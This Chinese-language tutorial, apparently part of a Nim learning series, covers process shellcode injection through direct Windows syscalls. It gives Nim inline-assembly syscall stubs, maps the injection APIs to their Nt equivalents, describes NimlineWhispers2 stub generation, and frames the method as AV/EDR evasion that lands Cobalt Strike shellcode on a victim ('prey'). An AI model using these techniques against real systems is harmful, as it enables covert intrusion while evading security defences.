Shellcode Injection using Nim and Syscalls(nim学习系列)
Shellcode Injection using Nim and Syscalls(nim学习系列)
kali 安装 nim lang环境
安装nim lang:
curl https://nim-lang.org/choosenim/init.sh -sSf | sh
安装mingw-w64:
apt-get install mingw-w64
安装依赖库:
nimble install winim
运行测试用例
先测试一下ajpc500给出的例子。
wget https://raw.githubusercontent.com/ajpc500/NimExamples/main/src/SysWhispers2/syscalls.nim
nim c -d=mingw --app=console --cpu=amd64 SysCallsMessageBoxShellCodeInject.nim
然后将生成的SysCallsMessageBoxShellCodeInject.exe复制到我的windows 10上运行,截图如下。
备注:如果在windows上编译,你会发现无法运行成功,还有仅支持64位。这是byt3bl33d3r原版未使用syscalls的代码。
Win32 Syscalls from Nim
看byt3bl33d3r给出的例子syscalls_bin.nim
{.passC:"-masm=intel".}
import winim/lean
proc GetTEBAsm64(): LPVOID{.asmNoStackFrame.} =
asm """
push rbx
xor rbx, rbx
xor rax, rax
mov rbx, qword ptr gs:[0x30]
mov rax, rbx
pop rbx
jno theEnd
theEnd:
ret
"""
var p = GetTEBAsm64()
echo repr(p)
nim lang官方手册中也有介绍 statements-and-expressions-assembler-statement ,即可以通过 asm 关键字将汇编代码嵌入nim中,以及asmNoStackFrame 编译指示指令。
Shellcode Injection using Nim and Syscalls
关于syscalls的技术分析可以看这篇文章red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr和utilizing-syscalls-in-csharp-1
在这个例子中我们需要将一些high-level functions替换成windows Native APIs:
OpenProcess -> NtOpenProcess
VirtualAllocEx -> NtAllocateVirtualMemory
WriteProcessMemory -> NtWriteVirtualMemory
CreateRemoteThread -> NtCreateThreadEx
CloseHandle -> NtClose
现在我们已经知道syscalls的原理,以及在nim中使用syscalls的方法。但是这些函数使用的参数和数据结构略有不同,我们可以参考这个网站NTAPI Undocumented Functions 查看这些函数(API)的声明,这样我们就知道该如何使用nim定义和调用他们。
比如 NtOpenProcess
NTSYSAPI
NTSTATUS
NTAPI
NtOpenProcess(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK AccessMask,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId );
用nim表示
proc NtOpenProcess*(ProcessHandle: PHANDLE, DesiredAccess: ACCESS_MASK, ObjectAttributes: POBJECT_ATTRIBUTES, ClientId: PCLIENT_ID): NTSTATUS {.asmNoStackFrame.} =
asm """
mov [rsp +8], rcx
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 0x28
mov ecx, 0x0C852CFDB
call SW2_GetSyscallNumber
add rsp, 0x28
mov rcx, [rsp +8]
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall
ret
"""
使用NimlineWhispers
ajpc500为此写了一个项目NimlineWhispers ,后来作者对此作了更新,新出另一个项目NimlineWhispers2 。在这里我们使用NimlineWhispers2。
第一步,克隆项目回本地
git clone --recurse-submodules https://github.com/ajpc500/NimlineWhispers2.git
第二步,修改functions.txt,写入我们需要的Native API functions
NtCreateThreadEx
NtOpenProcess
NtAllocateVirtualMemory
NtWriteVirtualMemory
NtClose
第三步,运行 python3 NimlineWhispers2.py,会在同目录下生成 syscalls.nim。
第四步,使用 include 语句(include syscalls)将 syscalls.nim 包含进我们的nim项目中。
第五部,修改你的代码,以正确调用 Native functions 。
可以参考我们第二节中运行的那个例子https://github.com/ajpc500/NimExamples/tree/main/src/SysWhispers2
如果改成 cobalt strike的shellcode,你会看到你的猎物上线了。
引用
https://github.com/jthuraisamy/SysWhispers2
https://ajpc500.github.io/nim/Shellcode-Injection-using-Nim-and-Syscalls/
https://nim-lang.org/docs/manual.html#statements-and-expressions-assembler-statement
https://nim-lang.org/docs/manual.html#pragmas-asmnostackframe-pragma
https://nim-lang.org/docs/manual.html#implementation-specific-pragmas-emit-pragma